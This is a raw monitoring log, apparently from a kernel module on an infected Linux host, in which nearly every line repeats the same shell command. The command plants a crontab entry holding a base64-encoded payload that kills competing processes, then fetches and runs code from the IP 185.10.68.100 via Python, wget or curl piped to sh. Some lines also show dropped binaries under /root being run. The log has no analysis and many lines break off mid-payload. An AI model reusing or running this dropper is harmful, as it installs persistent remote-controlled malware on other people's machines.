  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x2ff] [crontab][PID:0x301] do_filp_open_exit. ret: 0x5f71
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x303] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x304] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x30b] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x30b] [crontab][PID:0x30d] filp_close. File: \"/lib/x86_64-linux-gnu/libc-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x30b] [crontab][PID:0x30d] filp_close. File: \"/lib/x86_64-linux-gnu/libpcre.so.3.13.1\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x310] do_filp_open. Filename: \"/bin/sh\
  • sh -c /root/hophvu
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x318] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x319] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x31a] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x31a] vfs_read. File: \"/bin/dash\
  • /root/hophvu
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x30f] [crontab][PID:0x314] do_filp_open. Filename: \"/usr/lib/locale/locale-archive\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x326] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x327] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x328] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x32b] do_filp_open. Filename: \"/bin/sh\
  • sh -c /root/fyok tjcm
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2R